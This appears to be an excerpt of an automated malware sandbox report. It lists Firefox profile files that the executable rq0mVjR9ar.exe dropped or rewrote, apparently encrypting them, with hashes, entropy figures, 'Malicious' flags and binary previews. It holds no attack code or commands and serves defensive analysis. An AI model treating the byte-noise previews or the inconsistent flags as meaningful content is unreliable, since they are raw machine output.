SHA-256:	E6EE02D7B8103A6361FD8DE76F3A1AD5D391E6D55416E6C8ACA5B3EF79EA986B
SHA-512:	B74146B726C55DE2DB06514A3E4DC53231A3C5C9E8086209E8DB2A36D158E18DA78E1697550BE58D38C7E77072CFFDE0E238B3ECA095C39BD04CCFD1ADAE6035
Malicious:	false
Preview:	mozLz./8Y.+.....".[./...T4.d.C?../S...i*.O\|......D.q~..N....99.Ie3..Te....w.e.;w..9..q..g...gY..@.P....d2..........K;Re..tb.....$..a......r......0.R.....LK.5.<U.B...K.i...5..Z}...{..Uv\|YX(`.......aZ.?......Y...Iq.w...t.'..6.........^Z..g...F...l>.uXu.....t.'..L.,.%2..__]u...E-,3.x.E...L\7.7...iV......`...y.....$"FIx.$...S.....g...z.T.Pq.^S.pv)^.5s)....4....e..?...>Sb....?.r74..b.a.4......=.,(.0....T.`C..O...W..@.^.(.a.CXpj......V....:../!.'g...wa..H.!.w..F...Q:o.v. 6......z...#>...;Wf....g.tM..KG....G....TRn." .:..G3..q.g-..%^.N........V.._...g....lS...G...wo+t...>.n..."..C._D....h..Y.O. .~...zB..\..6......`9.i.J....aK.]!k.s....#.B.0..13..........)..2...+.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486838409.7e03a685-c52e-4810-b494-0f433b33ac49.event.jsonlz4

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4682
Entropy (8bit):	7.959395087854383
Encrypted:	false
SSDEEP:	96:dwyHhd5G7qTcwQ6OnC1z4KF/+wJ2thB+El891oH2fKd/Ab:dwIhd5G7qTrcAz4KF/+w4thBVljHUW/c
MD5:	266D495488C56F4D06D86767F9AD115B
SHA1:	253B4DCCE1E9E217EB2E6CD8BD73F15B328F02D8
SHA-256:	EB7D92AB7C77CC91145954F70200748759370D6C3BCB5C75D28722B2D8B2E951
SHA-512:	F6E5EB3A0E04D137AF83C2087637DB6E2D75C97D845FF31C3DEEBC4BD7EAFE31135F555C4C5AF92E51446C789C15550079580F841CFC15765649BFFA9A838D26
Malicious:	false
Preview:	mozLz.+8...y.\|K.:.T.(Y..B6:.T.m..=.ShX.T...E?.....r.V...0S.'..x...(D.g.`.....0.<9....\)4..<..3.....y.8.g.s..;E..,.. .e?.,.J..`...I..H.3..l.gEH..C...L...b4n...]0..'A.).J..b3../.I...o.0.......R`.....x..C..d..i....G...%.A.e0{.\.t#.sLz%...R...lO`.9...{C]..3...X...M..E..@._..k..X}W...s.GE......w.h...W..mH.0hb..T.g...T...[Y:..Y.>..A...d.o....~.N.,...3..20EY....4...B.T.W.M4..\.?....M...>..?;......@.0..qk..w...q...2.`.....L."....^.,/..H.ve.K...38..._...7H..[..:..(..yPtdu..... ..4.....+s'...X...!H.o{f...de.2..a.7..x.....D..'.".y..HHP......Z.qRL....C.p.\...\P..2..6...z...g!.U..&.#.gm+..nF].... .j5.?....7....kX{W._......"`3..5..,.B.Z.Z.?e..Cb..VBp...dNA.wNP.x,AAy.&.q.W....>1....\|Re.....b.P.89.h#l... ....w...!....&....tf...+.1........v6M\|i"..&.=M...Z...U\|.u..E...+Q.v?.f..>%.8d8.7.;.:"..p.... .^.S.+...~.....y.x...u..3x.r.$..d...h.....?.F.QGY....`........FD.......l..C<..w....:m.......l....z....f1\....is_..B.d..(.^....../I....s....']M.c.;..wWz..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486838410.75265401-2d75-4127-a70f-7d6e61df69a0.health.jsonlz4

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.6988977086358386
Encrypted:	false
SSDEEP:	24:v4qA65ovn51u2LPmCSXWOHpV81eo0WYXo40iTkbD:/Xc26Pds8B0DtiD
MD5:	0C3F012D9241405F52F5AA548192F285
SHA1:	03079246B64CE16152AFBD3C9D425EF2DF46412C
SHA-256:	F9FC40DEC38D8258B9E4D69E84A279EB1F3E77D75EB17E5629926557FC513AFF
SHA-512:	831A5915D851A3D0CCE4BF692705E64885FF7F0A6DF68A9333CA5AA2DBBC685BD5F607199DD66B564799F60150B0E6EE6F11604999410B6ABE6E9A79CF695ACB
Malicious:	false
Preview:	mozLzEi.T^..T<...lD).Hi..]\...J......B...O..s.Kg.J..F._....G.=Pq..~7)Y...)....?...9...j.Ek...]O..G....H...eG...s.7...$..........Z#..!N.+...m%"..d;..c.\|..8.W\......@....G..1Tu..........Y.\|.C:..tC.UH.O3[.i...v^.I.po5Y..B......"...".DH...x.JT........Ez....1..l...&.2i}...@..Xf...B...!.c<..`.w.6.b....x....#jG.....-...>.....m.1?.e.9.[.-....R.{s^\V.=..-...h.!/.o..to.%../[....y...p...n..@....S.........N.u6e1ap+^;........XL.F.3.s.......p.^y....^...\.6s.)..e.^p.o..5c..0.z..X..n.'....V..r.#...Z...w;............c.MY.v.....L...w.C........5..o.PC.E....E..+1l.1.I.\|g...P"Lg.%Qf...P,...BN.[+.[.....7.U_{.#....-...k.....1.....>a>$.n...v.;P.#.DnE...x....M..}....G.m.L.D..Zq.pPZr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486838415.86928e7f-6ba2-4b62-8ea8-d89cfd7a97ca.main.jsonlz4

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	15435
Entropy (8bit):	7.987726010981595
Encrypted:	false
SSDEEP:	384:YQJcpUbghRSI8EHmX2pS29TdMcYPi90dlBu8WZRErOdo5b:Y8cpcgj8emX05lYP+4HuLqUM
MD5:	DD79561973054613B08207366E9D5791
SHA1:	4D382B3B69A967692DDA2737E0ED7C69C11CCA60
SHA-256:	DC1D1FA2837BB72C8DC15959C0DB076F712508F7CF65ADF7F08912F485E76C6F
SHA-512:	8D58F364C433E228FBB7B43A9BED7684EF13163A91447FA2D9FA059AF086A6634343B2DBAE9ED15FA34F98655BFFA992D5F97F7CFD63E47A3CDCE424222ABB08
Malicious:	false
Preview:	mozLz.......w./..P. .K..L.vh.=%..R,..\.AMb...D....'t.)..\|.s..xW...........5..>.8.........f....Z8.R...1....E..+\|...;.jq.s.Yu.i..k.W..s..t...U..}zR.j.,j...Mk...i....)..yZ...z)........84..WX....g...k..#....h.o0E.s-.k.;........!8........A..I.D...........].7.]Y...c.RfSN.9......U.....5....w...}...&..I.F.w.....M....aX.q9.N..c#(....3...c.:...`sQ...g....}P..`b.r........[.&. .A..C.M{Y.".V../..)...>....`;....2..:.=......7..Az..Y{f...Co.'......ow.F..n.-D.=.^I..W...4v........\..`y.........DX4...-,o.k.c._.m.g..i...._.O.,.`6..8.......i..q....?..5...<;...1ZH.e....c.AQ.t...[.a...2Pz:(.._..F...[.....Z...:..L.T.......gp...PQjH.}.d_...mM..r..R..LQ....H.....'..F. .#.;.J......G.'..:4.=.$B.M../s.U.&..a..P..(K'q.).j./..Z.s....x_........2.^..8....n.Z..^b....<..:W.&... ................g..-x.....@.{..............{...q....J..G.01.C.'. ....O.N...;!m.-...k..Ph..._w".hj@.0A..-......Q..%..g.BP.f....S..Z.H.t}&..."..U...{al.l.b...x.b.#..}...9..A...\.....@e.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\db\data.safe.bin

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	12839
Entropy (8bit):	7.987391859122568
Encrypted:	false
SSDEEP:	192:zkx2wdaqh+z/1OFO/iKeUpXaoLkJG5F3rcTbRIhndd1nHA36OWvwvvLzbUfu:zknY9z/AFFKBxkJCTFddd/OWoHAW
MD5:	89A76CE415FD6A38C7C5CB6CBA7D4FC6
SHA1:	A9BE6D50D0570712311E3FFB2044A8B1F5AB65C8
SHA-256:	798BB55D302DFC3E6EE0E50D2C9FEA4C37BEDF38D57CC6FD191D525A051C81BB
SHA-512:	91EB9B9DF933D84415271B315D983A4DDED25A4351245E605297023E9E1E55F003DBD98CAAEFFF5777AA93CCBFF03E3A27E7C93FFC32E3456A591E863CF52862
Malicious:	false
Preview:	.......g..z.l..M@.t..q.7.m^..[4j[.......Ua.{X.c\..wx.`..3.1..sl.r....W..}.h...................b....Yu~......kqqQ.L.>.K....r=....Mi.F....E.Gy...k`.v.6 .ji....r(cNU.t.... ..vr....\|.Bd........).s..0.t......<Z......p.u....~].?..Li......c'......+\ .Y...K+X.[.....h...x.q(g.>...wh......rE.........`...H......c.y$>....6...z`........B0D.._...<...P...pL..0G+S(.U.^.Z.....pH..s.B..\...a.....<e..d.{@.Q....V..>.}..Ua6....y(.L..}.....(..`....g^;p.......<...@...^....Y.k...Kj.0..N....]x.}.,.S... H.vtARC.....7...64~{.:.>...s..z.^..X[5.n.....VP.....X)...../...#.."..\|"Tk.~....w..z...E<.0 .>..I..-.......2.K......94d[BS@..w.w..B.ljv..U.a.t.'d..BF.9 R\~.=kr...Q..i[.`R....t..B.{D_P.o.'....5...r.w.P..0.U.rU[t[..Q.\|t6f..g.&w[.3.......p..?....-...jy..Y.3.J...f.?E#...Zk6...XB$Z.ZE.}2.:E':..u.....@..6......z.o...dOc........>m......>y...`....W..~.x...C!........1o.~[........N...}.....7..n....8'k6*.H.8@..!x. .t...{.......G2!}.4}..$.W.1..q>...\|..t..oD%...L..\4.c.Y.o.A

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.484607115351314
Encrypted:	false
SSDEEP:	12:YWg4YozZUOoaibow5r0yOuZXFzQJpnh5GixpZacii9a:YIlydjunuVMJX5GiTkbD
MD5:	45FEE0657E899DB000486512DE047576
SHA1:	974B01E837C2ABEF7BD300CE509D60279E32C4E4
SHA-256:	A42F1F2E9A3DE18C759B080A49A2522A815C67DEA5B243B1C68C6C421D163DBE
SHA-512:	3EED6BE388B5DC22143E2C87DD40A0AFD3E7B0A6A1C722F810B05E661C8880E2CBE83D57EAC61578058F727D7D46ACF389F7014C0394FD73187B3256644B8DFC
Malicious:	false
Preview:	{"sesf..y3..$..%e.@..4...'..Q.f..'$.1-....x.i.."";..z.%..")m4+.Y(..wB.i.U.......@D.%NW....r.E_./.@C..\|.............*/.T.o$\.L..\|eb......x..%.oHY......<EY..w.@.1.l....\x;#..G...k..p......?Yy....^3.th.....\|..~.F.G.........ZJ..<u.ZD..v....vR).1.+.....t,.#.d5.=.....is.h.-.H.r9..6.....R..F.g.....@,.z...t-.Mh..b...M..f..v..{.1.%m.ll.......7...S.1.......)'.....2....IWP..@..u..(..B......4y....c.a...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.409506707314138
Encrypted:	false
SSDEEP:	12:YGvSeloewE/+vVPDPkpmNCz9GTFDrvKORlKNZr+LGixpZacii9a:YuS7ew++pcuJJDLKoKNZrcGiTkbD
MD5:	52B22A54D99E528BDDE05A6E93C171AB
SHA1:	6476EA3F5EA1A4C8E2194E7520E31ACBE5444494
SHA-256:	185FADB58DF4A9C82116E8D9CF1CDD9EB8F79EA274F627676C2469BE998C7F38
SHA-512:	C7249922312FDF5C1E62B302D90035AE62BC288A1ED76DA546666E151B2A6F2B57803095B35717D158714FBFFFF6CB0CFD2B4860323C85BDFFB5686D8E692A7A
Malicious:	false
Preview:	{"cli..r.....6...._.K..m.w....)...K/N....H..)..X...{P_.N......k..B......P....m..."...'yO...D..:b.......T.....W?..TR.L_...3...U....".y.\~.vR'.#.j....... ...].=.wT....T.[.-.;....[.j...T.wo....eW.D.g#I..&..5h.e.d[.4.....^+.b.......b:&P..ot}..3c......7..7.\..5.S.$.^...;.>.^../.G..ITi.I...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1638
Entropy (8bit):	7.857876494106228
Encrypted:	false
SSDEEP:	48:JFcAv4LMxGJt1Tuw15XlhkjSwAisj7amF0RiD:OL9JLftoPsjrF0Q
MD5:	0E0E5BAA265169D9F2DC5366504EAD9B
SHA1:	3A0965F978346CA2740763DA0EC9EFE5C61F4E86
SHA-256:	C8E4E869590AEB8B029DD002593BFC0745CEFEB166A802388D09EA68D97A04AF
SHA-512:	1556FB6DB5FE4E46FAC0ECFC5FD9661CE6DC8A9063E24B899F03627EC2792221B6290DA83CE67787E9BCE26F7B9644CB71B661C1F990D5515A6E0E49D8E62B2E
Malicious:	false
Preview:	mozLzfN.....?.D..g]..GJ<.C.....6...b...y......X.'.q.8.%5.j....Q..I."Z&.4.zwB..}y?..D.aM$.e..X..<M.q..o...3Gv.^..S.s&.U...;7.....7..aBm.+...2.a...S....~(..IO]..n...{Q......a..;-Y..h.2.]D...&(;Mf...8..c,.S...'.Q...`..nR..,E....7..V0...y.B`.Sj..6.....W.>)l.?.....w.E.G..x...P_.[...z...zE.....&.W.>)....h.Y.$.d.,...U\|`....i.....6....)2.`....or.j.C0.>!~..d.v q...EG-..tX...,hX......x~m..c..........n.3...B.$.~.<.x%...s>...&g.\Fd..YO}B.X...\|.\|.B..YFb%zl..}{.'Jf.j[...w..p.q..O....R..^D4<d.a.S...~...Q..0...0..8..p~....p0.^..<g.#.Ez..>3.Gb.$.N.....W.....[\|..k..&.[Mx.t._..W.Kk.h...k......d\..}.x..[d.C9......t4...:.c`...!,;...I0\|i4...n.....pW.'Q#.u.VY.."...[......Gl...\|....y..w............[.a(.v.#.i.Qz.yi4....6...n5..2.....{..'X..E_.b"...%......F.fO.]..o}.....`...mQ..`ep..%...;._{...r9.h...........=.Y..+.w.sG.....C..x.)...-......h._<z...A..Z...!"u.\|...>.*cB..M..i....^wg.N...F/.#.x.1[...C.h.m.....AliE...p.B.S....r....<....d#.....E...e&d.7.h..f..U9.\..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1638
Entropy (8bit):	7.882795561401198
Encrypted:	false
SSDEEP:	48:X0T0Jl9w3VVmV4MU11Z37ylXjy0PowjfxZiD:kTKl92VmV4M+1Bypm0PFja
MD5:	20A50C1725268A87CCD4FDF080A1E394
SHA1:	D4FA7A126501DA22525E13D3A9CD490195CB2133
SHA-256:	FF965AB9CBC6428ED2AD43018321261E8359FF3E50DAAECE1451539549DA8596
SHA-512:	A3973DA3F02DC76EE940CB202EF9755FF685B42862A9C38383181A0C726ED0E77F29C9BF8309AF9C75998919360F8D679F6EB91F906CA9E998288937EBCD4928
Malicious:	false
Preview:	mozLz.3H.B...a..R........~...(\M4...f..$o.[.?I....6.mY..za..,..P.!5..E.e?...y9.k..O?..g...DLo./......i....l....zrM`.Y...Q+e.oN..!.T.+....#.]a.Z.+.?f......R..).Z+.r......... ...gS.........8...X.4.Y..<.4..b..Z.3. ..u..&....%B.....?."4.<.Z.........3..".AT$E0.(.Zjm..4...K9.r.......I....'u..(w...E.`.e..z....Y..e..h.o.h.....[..<iht......A.l......f~.Z#4...T..uy}.....]....v......0.Zq.A..[Z6......9_}s...-g.a. wKq.N.....Q.....Y,.6.s.d.)..p.....0$ S..P.er..8.,A....k./....$.j.w....R.Py......,..._Wj..7..mnP/...cC....`.-."D.2$.7.NO...@9..PQa.H.<....O..zMn....B[n.y]....=V0;...B8SZds....Z[..0\|U..i.l...p<......K .9.w8.Bj..........S..3F.B.-.....C0a..6..W/...+.../.,.x.iut...l..0>......H7J....c.e.f.L}d.T#.Qba.^...Q<....8.....2l.......RS....2...{.L..............p..:.6..G.o]....kDB."...$!.P..z.@.....4.2_..i.Cz.p6mF.....X.>.s1u..J..?N$..}..(.2.:\|P...Kq..O........8..j\....e.u.CE6U.7..m...p...z..y....{.w?...p.+^...C..0i..}...p.S.D.6."....Sv..2Y.k...-..%.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998592407839357
Encrypted:	true
SSDEEP:	3072:Ik2KLToEVDt4mRTooTjsliH5hrLOpGKezkJV6s:Ik20oE74m5/jEah3OIkJos
MD5:	D962028CA65109C03DBE89494671F035
SHA1:	AE6DBD3CD4602F7CC70C5A6DFCB4184392E84000
SHA-256:	477784F9C9B9960C1BD810F978715A25EC2C4F424C39FF4F187E03849AA5FB6F
SHA-512:	1051054F16298B85CDF83396BD6EC4BFFED02B003D103AE8C8FA0FFFF50BF0A4B00DA8DE1A3975EE818EE2CE90D95633F5084BE315B0E33011DD9CAB0F8D2EAF
Malicious:	true
Preview:	SQLit19.J..b.....QA....;..&1:7........:........"......[..5..n8.::...-wC...._..g..g..=I..\..v...:U.....{4.z2...W.%y..>..+..I...7.....R..^.s#{[.N(..1~u.g..H%....%Os...7.M...4.....?..^\...y.}".\m.9iuH..6.pI.R..."..'..!...Xk..a(x.....%.....H.5#^q...H.\|.!...V.vu....r..}...t....T.W.<......Vc.#.......8...}..w71.u.c(,..;.E.YLs7..P...]b.p.$...gFXy..T..m..3H....>......Mpd.....<...m....&8.;.{.V?....g...7h.y.H`QL6...v\|....s..^\|.!..t;...)_Z.}C....!.o....5q........&. ...S8g"&.W).O...D...\|......l.+@..Q...5..B....p.!..l3.m.Q.....;.6..;2..3)6..qS;.~..5..V.:,j].E.....&p..\]w..36..'.l......'......k.H........C.. ..t=.A..5".....K....W. l-.;.H.a.7.,k.iR.b#.f....9H...n..#...m..D[.....$....Y..[.{..L....O.Nq< ....D..hY...L.i....\z..R.a`)JC.5...s..%.q.o.4G'..d&DA..bu..<.....X'7t....,..}w...7:.g...c=...m.HN.(t.\|......WVAQ......J.~0.v..mE.p.O..N<hL....e7.xFF'...\........V...V<...cv.N.. ..9.k.[.@.........H...zu.yq.XNl.F..>....u..^:_....%."z.M...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\.metadata-v2

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	TTComp archive data, binary, 4K dictionary
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.264561452546832
Encrypted:	false
SSDEEP:	6:sYdvBepQunSXBVGMycOcTvA94FweJKGwt/wH8Lg0EzcwZljGyfsn5upjGxssZacq:stDn2BPvU4yIKT7dEz5mnwixpZacii9a
MD5:	D3707E342E6A428C4B4AB7F7CDF79156
SHA1:	593A48B47C7CA27B22CB893F0E731BC22AB1ABCE
SHA-256:	BE3154AF9F9C07FFBCCD9D9B0325784BDB13087172F563BF18BFA8C04B5C0A41
SHA-512:	D73B38173C41F6C1675545498FF1674DE1731BF05AF41793D964EE2BBCD73CC245003B69AEBE9C7F3248384FA2002420C778E0DC47C09D6CDA7EF0B289907385
Malicious:	false
Preview:	.........}.'Q..=Bd...._.+......Z.........Y...l...7 ....C[$.>a.B...h2.>).....?.=...........H4.g#..92w@7.0(=..%).4.3...X...%.M.Y...4...H...F......[.,......s.:.TQ.,.4.5.n#..j.......s#{;/N.p."..Ix..M.H.....6.....^......:..b7...X.sx....I...........B...[...6B....*...]..^"....+.b.....\r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996046741362122
Encrypted:	true
SSDEEP:	768:PUe7KTOAeq9CtpTuZ+KOqh9X1bQb3hPFKZHSNYlD8tBn2kQkIIp8DD47NyKJ4:se7ZHq9CaZZ9Qb3hF+y0oQkP7m
MD5:	9AD6AA5E03F320EB57DBFB0F972D3706
SHA1:	F69B7958A3C280D29CB9EB1EF199C9F152484FE3
SHA-256:	3670AB46EABC4BA5A2B872A878DA2A47E442C472847B62E858765926E4951C8B
SHA-512:	D9FD02DA6127E6F5F738E23E0EB9EACFBC378E091A89C4307CAAEAC5C20BD45EFA349979D80ABE6A26E8A0883B0BF426466319EB1A1AA110C0674EE59CC337CD
Malicious:	true
Preview:	SQLits...F.C\.t=q.b.W_...5...PE/M....H....g.U....9......g....e.le.{.q..y..q~.g.1.._..d..Z..Na/.=.W.r{...i....:..P;..hD[...O"]..8..+..yH..V%.y1.\..W......./8\|..'k..+..nOKV2.h].w......%...q......4.b.\.l.FF[.._..U0n.\|.C.I..]h.%e...ub.S..4$U....\N..:..d.)Z....)j.j...J.......DC2s..\.....r.c..]6."F.y..\|..Z...2.=6.94m..N..>....3v...:...}..D.9........M.....?....Ky"...(Q.m.>..#...x..$`<.>.@.....b....M.:.IJ2...@..P.n.3.<.N-(.\|.... .fA.F..a..^<Zj::...[g... .rt.h !;.....<...i6..9...M.m1M8.:..A.>.....@<.i.duS.VS.o.C.m[Q#G....].<.....!...........S.{uLV.p..g..j$..'..T.Q...V...D...!.....u.N....d..q....V.G.T....7.....F...........u].,.....x{[.^Ho..rw.S..z.r.o......H........\|cV.9..i...8.c.......S.a:-..W.7..'.&.....qQX..L...\|.[bL..[Ns)\|.w...b..1^nV....T........[.%-.....s..2H. @..,.1.U-.;2/tf.... 97...ap.7?..r.<.%..3+.dQ......F..."..X.}.q>m.J......_.-.V......,V.?7U.fj.u(............KZ....w<...?_....y..m_.......g..T ..wx.V.O....#....9mL.,.....^5.9....Y..wif..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994956797439598
Encrypted:	true
SSDEEP:	768:vlRd/CW7wMn+flMKobzEoWk8ag7KJt6tbI8SYqo+7ti5rWto:dRd/uD4cBag7YqBio+8Io
MD5:	54D1D1A59373F4B3C44F16EA21B2C43D
SHA1:	2DEB51401B9A1DBAD6C3094E8F3FB07E2F75842B
SHA-256:	16D1CDF3293F3C6FED6703407E9F36EBBD15C4EE0CAB5EB80B28D00B0B48705C
SHA-512:	9BEB154FF9AD5576368ADDC45E8ADB544CF4BD2A2C8D8A8B35932191756EE476BCF5BCADE90485D05A06C6902304C8B031F95874DD68492EDA25373A4C1F0022
Malicious:	true
Preview:	..-.......o.n...y..........N.......(..we-. ...a..G..0..2....>4.Y.z..=%._...+)U..Y>.2B.-3..-Sc..-.b!.W.z...{OV\|#...=..>......wnW..JF..R.]......&...V....{]"/W...&>.,.73.>....0...1Q.W....P....a^h:g....o.0.m...}..V....cm-s.....)O.].z>...e.)..."P.Yi.Vg........uzK.t.J..........C]...'9.z......xq..Hti..xT.\..MqT..=.o).;...D....b..:..&+.5/.w..9.-..=...7.>.v..!.....}...W...IG.3Y4.....0.f...l....'O...'....{qC..U$5I.b......F..oK534M.....{].PH. .b.......s.i\.M.w..(Mt7..Q..I.\|...2....wev..^y...6YpZ...Zy.e...?.Ftd...HU4...@..N...Y..#..m.Q\|nU1..x...~G...w..X.!.?..`.a2D.2.h.Z.u......@...u..3G.._...yw..W0...a[..E.i\|...(F.u5..<7......I....J...u......g!..R..L..-...D......^....h;}/.....$..s....g....*..As?.o.\.]...t.i......?[.w.MyG....b..D.....E..#..\.Wg...i..z..{.r...;p......Y..T.v.\Z...2............_.j.......1T/R7,.]..j..A...G.......:.......F........@....R[o..Z.B.-.#.'P...@.LL5..i.m.b..Jx.....YT.A........@..i..H..\|B\|.D.K..@.....!...]...%...#...v...>......a..\|.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.9962621461740655
Encrypted:	true
SSDEEP:	1536:F+0aLcZhhTXOZkM0U01MHM+NarLTAf09X:F+0JbXOSM0U01M3Navy09X
MD5:	6E956EC00FBAF73972B731C16B6E38D8
SHA1:	F5149D25870F5AE2935ED58EB461CBDA3E9F4C22
SHA-256:	431B44E2AE77AACE2594B2B012823B680B36451FCF1D3980564015EA46B9B5AC
SHA-512:	EAEC54B11E080C849283BE60522C4F509BF2BCF3745B77E7D270ADC3683E3DE3C93AE1D6BB345A7EEB19165349CEF7600A016BE079DAF75695F68D47D4589395
Malicious:	true
Preview:	SQLit....+...`.<.l.....I.{......_..u.....w........{.}7f.....".d.\...C..VHf.....;.r..T....Eu.U..+}..d.2.....TG.....H...L..jr.JY?.&iYs...{.]..LV?.;l.u...g..g(_CJ.>...Vcq........8....:cz......c..ZM.$.]..N...i._z....^.x..f..m/...\|..Tj......f...7c..1..%.+...G{.....I....B..H!..7.....JSZh.O3.K...iF........U?.......a....A7......`+\.h..E+J...U.e.K<{..5...n.3...J...$LJ.. .%..w..7..['.b~H.<Q.o?.t..{i.S....v1.W.f.^.P}...8.V....bW...~4..) #....A...S..b....?..ks..I....u\|A.i<....5".w\t,...%.8...F...r.m......G...o.2jX~.=Q.K.a<.+.....zJ...]...31E....i.......S...0..l....=..}...\|f....4............vv.K.L.......K.......VF..1,..T.8%.-..n.\( #.>KQ..oMq...?..B..ae5.$...'9.i\|....vm.._)6oD...5.].9.<.eq...L.N...5s.y...gd.?.I5bj..\|..I.^.M~.sm...X..2\|.IBG5..F.].G.o.#b+.)..a_\|..k..;..w...sle.......0Tz..J........;:k...R......1."...e......g<..j..+..V.yl..M.[...r.J...2`.!...i5<.v.....mc.\A5e3...C,..k..8.%G f#. ......y.b...a1.W@...W.3..X]..S...Y....A).E@.!.....Sy.e..W./e

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.993474047883205
Encrypted:	true
SSDEEP:	768:XdyQ27i/qL+33p+6AiHr08ubNeDOPbngTnEXct:XdyQs4pCiHr08IPbgTEXct
MD5:	1DBD01DFF67672EA70DE03A61949E9B7
SHA1:	0DD7F324AEE2BB8575809470D59A161F7D6EDFED
SHA-256:	F1EFD23595D1D4AC053D56BD0B0D82543CBE771F05619CE39539404BEA3F3A2E
SHA-512:	05C3B8C5C20F4727E415EE2C85B94F957051E16F5EE0C162C3B4BB6E4DEF6304369A2E4FF3CF5F984790B82DDA9246E76F68C51951946E76DDEE0C539AF63A9A
Malicious:	true
Preview:	..-..-..-l.\.X.3.s...../)...H..b....29......Pm.1..{..N.....a..I.32o..1......Y..O.... 8..@...y.pG.^C.3..V....-....x...eb^.....9KD.K.fr:..X.......N.......u...1g......9c5.....\...S...M.....X...(a.D....n....b..z.4..`.z}%$.6c..#.~...J}.@..C.N.Y.#.....+..Z.d.{.y<!Z........O%...w.p.1^.K\...P}^..........I.N...h.ja1.....\|.Rc.4.dv$.o..x.~..x<M.#..%G..1.'...z..q.L.N..6.s...=.v..B-.ip..$..{%Z..&.Kj.U..:....M...c.T..^.7....v..U#....\t.....\|y.B.....N...u.....HM.....#.r.{i.76]~.+..U$..EX.8.4+.~W.. '.....g..R)..?......q\...MU{.i..y....~..M....;...j..m,...H..2.>t%..-......:.}.2T.B...5.....m-(..tX.........G..$2...AJ..;....=$i....0.I.m..3x.{B..A....c.R...T.A..}....b.%..4......(d...4.xm.>.......AQ.JI.FFV,4%vv.-.6.N.b....#].9j....i...6/.M.=.I.X...I......~}r..:.b....~.......>A.2.T.!B...!..nj.'.X.Z[..T9.vC.b....!'.I:a5..'R....bsd.w.&.>..b.".=:vW..?5..`.......gIV....X.N.v1.8....&.......@A........"cO..zo.!.,..]>...=...8..6..Oi.~.3...*^ta..9......:.g]...{..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995698478020898
Encrypted:	true
